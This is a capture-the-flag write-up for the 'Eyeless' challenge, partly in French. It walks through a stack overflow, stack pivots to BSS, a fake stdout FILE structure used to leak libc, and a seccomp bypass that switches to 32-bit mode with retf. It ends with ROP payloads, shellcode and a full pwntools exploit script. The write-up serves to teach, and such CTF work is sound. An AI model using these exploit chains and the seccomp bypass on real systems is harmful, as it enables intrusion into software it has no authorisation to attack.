Midnightflag - Eyeless

· 7 minutes de lecture
Midnightflag - Eyeless

Reverse

void setup(void)

{
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  fflush(stdin);
  return;
}

undefined8 main(void)

{
  char local_88 [128];
  
  setup();
  setup_seccomp();
  fgets(local_88,150,stdin);
  return 0;
}

A simple 22-byte overflow with no obvious way for data to leak.Phase 1 — Double-stack pivot to control ROP

A 22-byte overflow is enough to overwrite RBP and RIP. Not enough for a full chain, but enough for a LEAVE; RET => the stack pivots to BSS.

Pivot 1 - BSS+0x500

We overwrite rbp with BSS+0x500 and rip with the 0x4013bc gadget from the binary. At the end of the main function, the leave instruction sets rsp = rbp => we end up in BSS, and we can determine the address of our buffer to re-stack the pivot onto it.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004013aa <+0>:     push   rbp
   0x00000000004013ab <+1>:     mov    rbp,rsp
   0x00000000004013ae <+4>:     add    rsp,0xffffffffffffff80
   0x00000000004013b2 <+8>:     call   0x4012f5 <setup>
   0x00000000004013b7 <+13>:    call   0x401156 <setup_seccomp>
   0x00000000004013bc <+18>:    mov    rdx,QWORD PTR [rip+0x2c6d]        # 0x404030 <stdin@GLIBC_2.2.5>
   0x00000000004013c3 <+25>:    lea    rax,[rbp-0x80]
   0x00000000004013c7 <+29>:    mov    esi,0x96
   0x00000000004013cc <+34>:    mov    rdi,rax
   0x00000000004013cf <+37>:    call   0x401030 <fgets@plt>
   0x00000000004013d4 <+42>:    mov    eax,0x0
   0x00000000004013d9 <+47>:    leave
   0x00000000004013da <+48>:    ret
End of assembler dump.
payload = b"A" * (136-8) + p64(BSS+0x500) + p64(0x4013bc)
p.sendline(payload)

Pivot 2 - BSS+0x600

Starting at BSS+0x500, a second ROP is sent that:

  1. still pivots to BSS+0x600
  2. calls SET_RDX_STDIN followed by fgets(BSS+0x600, 0x700, stdin) to receive an arbitrarily long ROP
payload2  = p64(BSS+0x600)        # nouveau rbp pour le prochain leave
payload2 += p64(SET_RDX_STDIN) # BSS+0x500-0x80
payload2 += p64(POP_RDI)
payload2 += p64(BSS+0x600)
payload2 += p64(POP_RSI_R15)
payload2 += p64(0x700)*2
payload2 += p64(0x4013cf)         # call fgets
payload2 += cyclic(128-len(payload2))
payload2 += p64(BSS+0x500-0x80) + p64(LEAVE_RET)
p.sendline(payload2) # BSS+0x500-0x80 => addresse de notre 3eme ROP

From there, we have an ROP chain of arbitrary length in BSS.


Phase 2 - Leakless FSOP: Writing to stdout to trigger a libc leak

No entries in the binary => no trivial leak. But stdout is in BSS (GLIBC symbols are visible), and fflush is in the GOT. The idea: rewrite the stdout FILE structure in memory so that its buffer points to the GOT, then call fflush to trigger a write to fd=1.

The null byte problem

The _IO_FILE structure contains 8-byte libc pointers. We cannot write them directly with fgets because fgets appends a \x00 after each read — the 8th byte of a libc address would therefore be overwritten.

Solution: chain multiple fgets calls of size 7, interleaving GOT addresses between ROP gadgets. The null byte of the 8th byte corresponds to the null MSB of canonical addresses (0x00007f...).

To this layout:

By stacking pivots + fgets(addr, 7, stdin) calls, we write the missing gadgets between the existing GOT addresses without touching their null MSB.

payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404020-8)   # stdout GOT - 8
payload3 += p64(POP_RSI_R15)
payload3 += p64(7)*2           # size 7: null byte lands on null MSB
payload3 += p64(FGETS)

Building the fake FILE struct

Once the BSS is properly set up, we send the fake _IO_FILE structure:

stdout_struct  = p64(0x00000000fbad2087)   # _flags
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush)       # _IO_write_base → start of the leak
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush)       # _IO_read_end
stdout_struct += p64(exe.got.fflush + 8)   # _IO_write_end → 8 bytes written.

_IO_write_base points to fflush@GOT, _IO_write_end points 8 bytes further. When fflush(stdout) is called, libc writes the buffer contents (= the real address of fflush in libc) to fd=1.

We can then call fflush again with rdi pointing to the stdout address using the same technique as writing into the file struct.

leak = u64(p.recv()[0:8])
libc.address = leak - libc.sym.fflush

Phase 3 - RCE via architecture switch (retf)

Seccomp blocks execve, execveat, open, openat in 64-bit mode. But these syscalls have different numbers in 32-bit mode — and seccomp only filters the current architecture.

Plan:

  1. mprotect(BSS, 0x1000, RWX) to make the BSS executable
  2. Write a 32-bit shellcode into the BSS
  3. retf to switch CS to 0x23 (compat mode 32-bit) and jump to the shellcode

mprotect + retf

POP_RDX_POP_RBX = libc.address + 0x8f0c5  # pop rdx ; pop rbx ; ret
RETF            = libc.address + 0x294bf   # retf

sp2  = scCompiled                    # stager : read 32 bits shellcode en BSS+0xa80
sp2 += p64(POP_RDX_POP_RBX)
sp2 += p64(7)*2                      # rwx
sp2 += p64(POP_RDI)
sp2 += p64(0x404000)                 # BSS base
sp2 += p64(POP_RSI_R15)
sp2 += p64(0x1000)*2
sp2 += p64(libc.sym.mprotect)
sp2 += p64(RETF)                     # far return
sp2 += p32(0x404a80)                 # rip → shellcode 32 bits
sp2 += p32(0x23)                     # cs  → 0x23 = compat mode

retf performs a pop rip + pop cs: we switch to IA-32e compatibility mode (32-bit), and the CPU starts executing 32-bit instructions at 0x404a80.

32-bit shellcode - open/read/write the flag

# open("////flag", O_RDONLY) / read(fd, buf, 100) / write(1, buf, ?)
shellcode  = b"\x90"*0x90
shellcode += b"\xBC\x00\x41\x40\x00"  # mov esp, 0x404100
shellcode += b"\x31\xC9\x51"
shellcode += b"\x68\x66\x6C\x61\x67"  # push "flag"
shellcode += b"\x68\x2F\x2F\x2F\x2F"  # push "////"
shellcode += b"\x89\xE3"              # mov ebx, esp
shellcode += b"\xB8\x05\x00\x00\x00\xCD\x80"  # open syscall (32 bits = 5)
shellcode += b"\x89\xC3"              # mov ebx, eax (fd)
shellcode += b"\x83\xEC\x64\x89\xE1" # buf sur la stack
shellcode += b"\xBA\x64\x00\x00\x00\xB8\x03\x00\x00\x00\xCD\x80"  # read
shellcode += b"\xBB\x01\x00\x00\x00\x89\xC2\xB8\x04\x00\x00\x00\x89\xE1\xCD\x80"  # write
shellcode += b"\x31\xDB\xB8\x01\x00\x00\x00\xCD\x80"  # exit

In 32-bit mode, the syscalls open (5), read (3), write (4) are not filtered by seccomp, which was configured for the 64-bit architecture.

Full exploit

from pwn import *

exe = ELF("./main")
libc = ELF("./libc.so.6")
context.binary = exe

FGETS = exe.plt.fgets
POP_RDI = 0x00000000004013a5
RET = POP_RDI + 1 # ret
POP_RSI_R15 = 0x00000000004013a3
SET_RDX_STDIN = 0x000000000040136a
BSS = 0x404000
LEAVE_RET = 0x00000000004013d9 # : leave ; ret
POP_R13_R14_R15 = 0x00000000004013a0 # pop r13 ; pop r14 ; pop r15 ; ret
POP_RBP = 0x000000000040113d
#p = process("./main")
p = remote("dyn-02.midnightflag.fr",12429)
offset = 136

payload = b"A" * (136-8) + p64(BSS+0x500) + p64(0x00000000004013bc) # set rdx main
p.sendline(payload)

payload2 = p64(BSS+0x600) # pivot
payload2 += p64(SET_RDX_STDIN)
payload2 += p64(POP_RDI)
payload2 += p64(BSS+0x600)
payload2 += p64(POP_RSI_R15)
payload2 += p64(0x700)*2
payload2 += p64(0x00000000004013cf)
payload2 += cyclic(128-len(payload2))
payload2 += p64(BSS+0x500-0x80) + p64(LEAVE_RET)
p.sendline(payload2)

# 3 stage fgets rop
# write another rop to fgets into stdout file struct
payload3 =  p64(0x404010)
payload3 += p64(RET)
payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404020-8) # stdout-8
payload3 += p64(POP_RSI_R15)
payload3 += p64(7)*2
payload3 += p64(FGETS)

payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404028-1) # stdin-8 # -1 bah jsp en debug ca va pas le -8 seulement
payload3 += p64(POP_RSI_R15)
payload3 += p64(7)*2
payload3 += p64(FGETS) # send POP_R13_R14_R15

payload3 += p64(SET_RDX_STDIN)
payload3 += p64(POP_RDI)
payload3 += p64(0x404048-2) # stdin-8
payload3 += p64(POP_RSI_R15)
payload3 += p64(0x700)*2
payload3 += p64(FGETS) # send POP_R13_R14_R15)
payload3 += p64(LEAVE_RET)
p.sendline(payload3)


p.send(p64(POP_RDI)[0:7])
p.send(p64(POP_R13_R14_R15)[0:7])
ropLeak = p64(POP_RSI_R15) + p64(0x8*6)*2 + p64(SET_RDX_STDIN) + p64(POP_RBP) + p64(BSS+0x300) + p64(RET)*100 + p64(FGETS)
ropLeak += (p64(POP_RSI_R15) + p64(0x400)*2 + p64(SET_RDX_STDIN) + p64(POP_RDI) + p64(0x404048) + p64(FGETS)) * 2 + p64(POP_RBP) + p64(0x404010) + p64(LEAVE_RET) # fflush stdout after rwritting file struct


p.sendline(ropLeak)

stdout_struct = p64(0x00000000fbad2087)
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush)
stdout_struct += p64(0)
stdout_struct += p64(exe.got.fflush)
stdout_struct += p64(exe.got.fflush + 8)
p.send(stdout_struct)


ropfflush =  p64(POP_RBP)+p64(BSS + 0xA00)+ p64(RET)*70 + p64(exe.plt.fflush)+ p64(RET)*5
ropfflush += p64(POP_RBP) + p64(BSS + 0xb00) + p64(0x00000000004013bc)  # ret2main car la trop le bordel en bss pour faire un truc viable donc restart !
p.sendline(ropfflush)
p.sendline(ropfflush) # 2 fois je sais pas pourquoi il recoit pas le programme sinon :/


# 0x000000000008f0c5 : pop rdx ; pop rbx ; ret

leak = u64(p.recv()[0:8])
libc.address = leak - libc.sym.fflush
print(f"libc.address: {hex(libc.address)}")

scCompiled = b"\x90"*9 + b"\xBB\x00\x00\x00\x00\xB9\x80\x4A\x40\x00\xBA\x00\x10\x00\x00\xB0\x03\xCD\x80" # stager
POP_RDX_POP_RBX = libc.address + 0x000000000008f0c5
# 0x00000000000294bf : retf
RETF = libc.address + 0x00000000000294bf

sp2 = scCompiled # stager read shellcode
sp2 += p64(POP_RDX_POP_RBX)
sp2 += p64(7)*2 # rwx
sp2 += p64(POP_RDI)
sp2 += p64(0x404000) # BSS
sp2 += p64(POP_RSI_R15)
sp2 += p64(0x1000)*2
sp2 += p64(libc.sym.mprotect) # set page rwx
sp2 += p64(RETF) # changement d'arch pour bypass seccomp
sp2 += p32(0x404a80)
sp2 += p32(0x23)
sp2 += b"A"*(128-len(sp2))
sp2 += p64(0x404a9c-8) + p64(LEAVE_RET) # stack pivot sur la rop memprotect
p.sendline(sp2)



p.sendline(b"\x90"*0x90 + b"\xBC\x00\x41\x40\x00\x31\xC9\x51\x68\x66\x6C\x61\x67\x68\x2F\x2F\x2F\x2F\x89\xE3\xB8\x05\x00\x00\x00\xCD\x80\x89\xC3\x83\xEC\x64\x89\xE1\xBA\x64\x00\x00\x00\xB8\x03\x00\x00\x00\xCD\x80\xBB\x01\x00\x00\x00\x89\xC2\xB8\x04\x00\x00\x00\x89\xE1\xCD\x80\x31\xDB\xB8\x01\x00\x00\x00\xCD\x80") # shellcode open read write